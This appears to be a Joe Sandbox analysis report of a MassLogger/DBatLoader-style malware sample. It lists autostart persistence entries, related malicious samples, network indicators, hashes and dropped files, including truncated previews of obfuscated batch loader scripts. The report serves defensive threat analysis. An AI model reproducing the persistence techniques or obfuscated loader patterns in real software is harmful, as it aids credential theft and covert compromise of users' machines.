Behavior and APIs

Time	Type	Description
02:47:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Oupzhkpr C:\Users\Public\Oupzhkpr.url
02:47:16	Task Scheduler	Run new task: AccSys path: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe
02:47:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Oupzhkpr C:\Users\Public\Oupzhkpr.url
02:47:29	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apihost.exe.lnk
20:47:05	API Interceptor	2x Sleep call for process: PO_B2W984.com modified
20:47:15	API Interceptor	9x Sleep call for process: powershell.exe modified
20:47:21	API Interceptor	4x Sleep call for process: Oupzhkpr.PIF modified
20:47:51	API Interceptor	87948x Sleep call for process: apihost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	0001.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PK241200518-EMAIL RELEASE-pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	checkip.dyndns.org/
	CITAS_pif.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	conferma..exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	file.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
41.185.8.252	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
41.185.8.252	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
lwaziacademy.com	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	41.185.8.252
lwaziacademy.com	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	41.185.8.252
checkip.dyndns.com	file.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	file.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	file.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.247.73

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://4.nscqn.dashboradcortx.xyz/4hbVgI3060FFjU163rczgakrldw288HJUBSXEIQRWLNTA425583MYLP8076x12	Get hash	malicious	Unknown	Browse	1.1.1.1
	ogVinh0jhq.exe	Get hash	malicious	DCRat	Browse	104.20.4.235
	https://myburbank-uat.3didemo.com	Get hash	malicious	HTMLPhisher	Browse	104.26.13.57
	hiwA7Blv7C.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	http://hotelyetipokhara.com	Get hash	malicious	Unknown	Browse	104.21.96.1
	https://realpaperworks.com/wp-content/red/UhPIYa	Get hash	malicious	Unknown	Browse	104.21.96.1
	http://adflowtube.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://authmycookie.com	Get hash	malicious	Unknown	Browse	172.67.198.196
	http://keywestlending.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.64.154.248
	http://vaporblastingservices.com	Get hash	malicious	Unknown	Browse	104.18.26.193
UTMEMUS	file.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	DEMONS.ppc.elf	Get hash	malicious	Unknown	Browse	132.226.227.252
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.247.73
	Dotc67890990.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Invoice DHL - AWB 2024 E4001 - 0000731.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
GridhostZA	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	41.185.8.252
	armv4l.elf	Get hash	malicious	Mirai	Browse	41.61.6.129
	3.elf	Get hash	malicious	Unknown	Browse	41.185.108.101
	2.elf	Get hash	malicious	Unknown	Browse	41.61.164.248
	1.elf	Get hash	malicious	Unknown	Browse	41.185.180.246
	1.elf	Get hash	malicious	Unknown	Browse	41.61.153.3
	2.elf	Get hash	malicious	Unknown	Browse	41.185.108.111
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	41.185.133.158
	3.elf	Get hash	malicious	Unknown	Browse	41.61.164.251
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	41.61.164.233

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	file.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	NL Hybrid.exe	Get hash	malicious	Titanium Proxy, PureLog Stealer	Browse	104.21.67.152
	NL Hybrid.exe	Get hash	malicious	Titanium Proxy, PureLog Stealer	Browse	104.21.67.152
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	41.185.8.252
	file.exe	Get hash	malicious	LummaC	Browse	41.185.8.252
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	41.185.8.252
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	41.185.8.252
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	41.185.8.252
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	41.185.8.252
	Setup.exe.7z	Get hash	malicious	Unknown	Browse	41.185.8.252
	176.113.115.170.ps1	Get hash	malicious	LummaC	Browse	41.185.8.252
	ETVk1yP43q.exe	Get hash	malicious	AZORult	Browse	41.185.8.252

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\Microsofts.exe	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_TXB04958T.scr.exe	Get hash	malicious	MassLogger RAT	Browse
C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_TXB04958T.scr.exe	Get hash	malicious	MassLogger RAT	Browse
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	F7Xu8bRnXT.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rpkhzpuO.pif.log

Download File

Process:	C:\Users\Public\Libraries\rpkhzpuO.pif
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	520
Entropy (8bit):	5.37653962137826
Encrypted:	false
SSDEEP:	12:Q3La/hhkvoDLI4MWuCqDLI4MWuPtXR5fOKbbDLI4MWuPJKMsDbKhav:MLUE4K5E4K1BIKDE4KhKMaKhk
MD5:	700CE124EFD2CD54F22B6C37D63668B1
SHA1:	21B5C0030C45972F1E451683A30EE6DC29E7A8AD
SHA-256:	FF17BE52698BF4D59DA4F4A98E21EA17CD2F10E95C060335B4D337A870FF8316
SHA-512:	A5285CBB2A4B3BA9F8F64CA15F5105C32B6DAF973B405D6C56E3ACDE5218E631EE299296AA60A9291DF5EE85079786EB60CE925E0BF126210237A2903299714F
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\827465c25133ff582ff7ddaf85635407\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\374ae62ebbde44ef97c7e898f1fdb21b\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1804
Entropy (8bit):	5.207910328423403
Encrypted:	false
SSDEEP:	48:fSHJSGfs4/ymKagv4RUgZoU99tK8NfNooc+QIrW62aVn:KHIGH/vKNIHWA2Kfo+QAW1aV
MD5:	331C5A3D7FF49B58C613EB52486FE9C7
SHA1:	A5DC07F91C3BE6B8F75E5DFBBAF180B886DEB8A0
SHA-256:	E2D74D28C3056D0F983F7DE8A68A5365668A1DB1BBFB4DB1951079F5A9A3025D
SHA-512:	3C841888263C9B06BAE24318B60671607F3828D387525A9420B3D55A6CE0CE1C9C234723F8283F463B7E63554AE19566A71FBD2FCC13B3F3279AED6334A164E0
Malicious:	false
Preview:	@...e...........................................................T...............n$....<@.{..uR........Microsoft.Management.Infrastructure.Native..H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0...............I.....B..ZR............System..4......................A....E..........System.Core.D................g$H..K..I.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4..................%`99B....9...........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.H................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell

C:\Users\user\AppData\Local\Temp\Microsofts.exe

Download File

Process:	C:\Users\Public\Libraries\rpkhzpuO.pif
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	98816
Entropy (8bit):	5.666546286050177
Encrypted:	false
SSDEEP:	1536:qwa4JaIFveZKGAmwJVeDhp0dqnjErVf4UMR7pspNYZd:24Jj4ZKGHwJVeDDKqnj6bMDspNC
MD5:	F6B8018A27BCDBAA35778849B586D31B
SHA1:	81BDE9535B07E103F89F6AEABDB873D7E35816C2
SHA-256:	DDC6B2BD4382D1AE45BEE8F3C4BB19BD20933A55BDF5C2E76C8D6C46BC1516CE
SHA-512:	AA958D22952D27BAD1C0D3C9D08DDBF364274363D5359791B7B06A5D5D91A21F57E9C9E1079F3F95D7CE5828DCD3E79914FF2BD836F347B5734151D668D935DE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Joe Security Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Florian Roth
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 91%
Joe Sandbox View:	Filename: PO_2024_056209_MQ04865_ENQ_1045.exe, Detection: malicious, Browse Filename: PO_KB#67897.cmd, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_TXB04958T.scr.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....nH...............P..x............... ........@.. ....................................`.....................................S.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc..............................@..B........................H...................Z....................................................}.....is.......................~...F...@...7...%...m...$...~...~...d...r...a...G...o...n...~.....(....&..( .....s!........s"........s#........s$........s%........Z........o8...........&..(9....&........".......Vs....(B...t...........(C..."~....+."~....+."~....+."~....+."~....+.b.r...p.oa...(....(@....:.~.....o....&.:.(P....(Q......~3...,.~3...+.~1.....x...s....%.3...(.....*..(Y....(L...

C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe

Download File

Process:	C:\Users\Public\Libraries\rpkhzpuO.pif
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	4.910353963160109
Encrypted:	false
SSDEEP:	1536:ZPqWETbZazuYx3cOBB03Cmp3gGLWUTbUwjKX4C2b+d:ZizbZazunOKrp3gGhTbUwjI4C2Sd
MD5:	E91A1DB64F5262A633465A0AAFF7A0B0
SHA1:	396E954077D21E94B7C20F7AFA22A76C0ED522D0
SHA-256:	F19763B48B2D2CC92E61127DD0B29760A1C630F03AD7F5055FD1ED9C7D439428
SHA-512:	227D7DAD569D77EF84326E905B7726C722CEFF331246DE4F5CF84428B9721F8B2732A31401DF6A8CEF7513BCD693417D74CDD65D54E43C710D44D1726F14B0C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Joe Sandbox View:	Filename: PO_2024_056209_MQ04865_ENQ_1045.exe, Detection: malicious, Browse Filename: PO_KB#67897.cmd, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_TXB04958T.scr.exe, Detection: malicious, Browse Filename: C6dAUcOA6M.exe, Detection: malicious, Browse Filename: F7Xu8bRnXT.exe, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_BXB04958T.scr.exe, Detection: malicious, Browse Filename: PO #09465610_GQ 003745_SO-242000846.exe, Detection: malicious, Browse Filename: IBKB.vbs, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.............n)... ...@....@.. ....................................`..................................)..W....@.......................`....................................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P)......H........>...............=..p...........................................".(!......s3...z...s..........(.....Z~ ...oK...~....(!.....(5....&.(!.....".......".(u....Vs....(v...t.........&..(.....Br...p(.....(....sL....).......0...........r...p....s........ ................. ........8[...........o.........................% ....X....o....a.o.............o....]......... ....X............o....?....(........o....o ...............8........*....0..........r)..p(....("....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d2kagyev.r4c.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rih2jbxm.pwl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s5wvqpes.a3t.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u11qhpy4.dba.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\ACCApi\apihost.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	665670656
Entropy (8bit):	7.99999937128988
Encrypted:	true
SSDEEP:
MD5:	785BCB4933871B92E40A89544BFA615E
SHA1:	926A493B8D95768B438BB11E5D7CFDE0F70D213D
SHA-256:	75A815D3B71446F95DD5042E58737063A148761817DB1F65F8283A26614415A8
SHA-512:	500D2D52A7666B861E228EA7A903351D8EDA13922BACC9E75C5F86EC4474CE882ED135D569743640C2217766463535C994E951F8131DE6BDD3D8F05EC43CB7C3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.............n)... ...@....@.. ....................................`..................................)..W....@.......................`....................................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P)......H........>...............=..p...........................................".(!......s3...z...s..........(.....Z~ ...oK...~....(!.....(5....&.(!.....".......".(u....Vs....(v...t.........&..(.....Br...p(.....(....sL....).......0...........r...p....s........ ................. ........8[...........o.........................% ....X....o....a.o.............o....]......... ....X............o....?....(........o....o ...............8........*....0..........r)..p(....("....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apihost.exe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe
File Type:	MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Icon number=0, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=
Category:	dropped
Size (bytes):	1820
Entropy (8bit):	2.4182561384360683
Encrypted:	false
SSDEEP:	12:8PsXUCV/tz0/CSL4WWeMNDyWlT9KWQ17+AUvO4Zv7L1Q17+ANCNfBf4t2YCBTo8:80rWLqeMNmG9KXR+O4ZvPqRMjJT
MD5:	8C754917840362CAC6F2226DB0CC8DDE
SHA1:	BB221F2D76706A961AC0F561D9862507A742F40E
SHA-256:	07E44921181835B94E444DAB410EF555932977AF140E0ED89E5F3841C613F7BE
SHA-512:	92BD4A18FDEBA2CE1C424ADFBBF05C0FA5B342ED498C5621679666142FC04C921883EC82D0D404D2AAA9D8BCBE9AE65D42291E1959388B4F4CFCF3561960327B
Malicious:	false
Preview:	L..................F.@......................................................5....P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................A.r.t.h.u.r.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....T.1...........ACCApi..>............................................A.C.C.A.p.i.....b.2...........apihost.exe.H............................................a.p.i.h.o.s.t...e.x.e.........A.c.c.S.y.s.!.....\.....\.....\.....\.....\.A.C.C.A.p.i.\.a.p.i.h.o.s.t...e.x.e.4.C.:.\.U.s.e.r.s.\.A.r.t.h.u.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.T.r.a.d.i.n.g._.A.I.B.o.t...e.x.e.........%USERPROFILE%\AppData\Local\Temp\Trading_AIBot.exe...............................................................................................................

C:\Users\Public\Libraries\FX.cmd

Download File

Process:	C:\Users\user\Desktop\PO_B2W984.com
File Type:	DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	8556
Entropy (8bit):	4.623706637784657
Encrypted:	false
SSDEEP:	192:dSSQx41VVrTlS2owuuWTtkY16Wdhdsu0mYKDCIfYaYuX1fcDuy:Vrhgwuua5vdnQaCIVJF6uy
MD5:	60CD0BE570DECD49E4798554639A05AE
SHA1:	BD7BED69D9AB9A20B5263D74921C453F38477BCB
SHA-256:	CA6A6C849496453990BECEEF8C192D90908C0C615FA0A1D01BCD464BAD6966A5
SHA-512:	AB3DBDB4ED95A0CB4072B23DD241149F48ECFF8A69F16D81648E825D9D81A55954E5DD9BC46D3D7408421DF30C901B9AD1385D1E70793FA8D715C86C9E800C57
Malicious:	true
Preview:	@echo off..set "MJtc=Iet "..@%.r.......%e%...%c%...r....%h%.....%o%........% % .....%o%...%f%.o.%f%......%..s%.......%e%.%t%.. .....% %.rr.. .%"%...%w%......%o%...o..%t%r.....%c%....%=%... . .%s%...... %e%....%t%....% %........ %"% o...%..%wotc%"%.%n% r .%O%...%P%.. ..%t%.%=%...... o..%=%......%"%....r...%..%wotc%"aeeYdDdanR%nOPt%s://"..%wotc%"%..........%a%.%e%......%e%.r..%Y%..%d%.....r....%D%.. %d% ... .%a%.. ...%n%.. ..%R%........%%nOPt%s%...... .%:%.. %/%....%/%r......%"%.....r.%..%wotc%"%...... ...%U%.o..%g%.r.%

C:\Users\Public\Libraries\NEO.cmd

Download File

Process:	C:\Users\user\Desktop\PO_B2W984.com
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (420), with CRLF line terminators
Category:	dropped
Size (bytes):	46543
Entropy (8bit):	4.705001079878445
Encrypted:	false
SSDEEP:	768:Ud6T6yIssKMyD/LgZ0+9Z2noufIBUEADZQp2H8ZLq:UdQFIssKMyjL4X2T8UbZT
MD5:	637A66953F03B084808934ED7DF7192F
SHA1:	D3AE40DFF4894972A141A631900BD3BB8C441696
SHA-256:	41E1F89A5F96F94C2C021FBC08EA1A10EA30DAEA62492F46A7F763385F95EC20
SHA-512:	2A0FEDD85722A2701D57AA751D5ACAA36BBD31778E5D2B51A5A1B21A687B9261F4685FD12E894244EA80B194C76E722B13433AD9B649625D2BC2DB4365991EA3
Malicious:	false
Preview:	@echo off..set "EPD=sPDet "..@%...... or%e%.........%c%......%h%.........o%o%.or......% %.o.ro...%o%.%f%...r.....%f%....r....%..s%. %e%.....%t% % % rrr....%"%.....%E%....%J%.. ....%O%.%h% .......%=%........%s%.. ..%e%....%t%....% %...o...%"%.%..%EJOh%"%.%r% %H%..%C%........%N%....o ....%=%..........%=% .%"%..%..%EJOh%"%.....%K%.%z%..r%j%........%L%..%c%. o.......%f%. o..%x%.%X%.........r%V%.%J%.....%%rHCN%k%.... ...%"%........%..%EJOh%"%.o.....%a%or%g%..o.... ..%u% ..%P%.....o...%X%.. .......%c% .....%U%.%I%. .

C:\Users\Public\Libraries\Oupzhkpr

Download File

Process:	C:\Users\user\Desktop\PO_B2W984.com
File Type:	data
Category:	dropped
Size (bytes):	679957
Entropy (8bit):	7.4483963454083435
Encrypted:	false
SSDEEP:	12288:2H+NXHhlVBcqgRbPaltoM6OwLovLA/eimwQUaq3cF2ez06hNg+Ymnch:2qHX8RbyfovtLovLA/eim/ccF2ez06hO
MD5:	25A482D7B6698E7666A523C910799F13
SHA1:	18B17A1E14069E747F5076F97A9654D8D99E5ADA
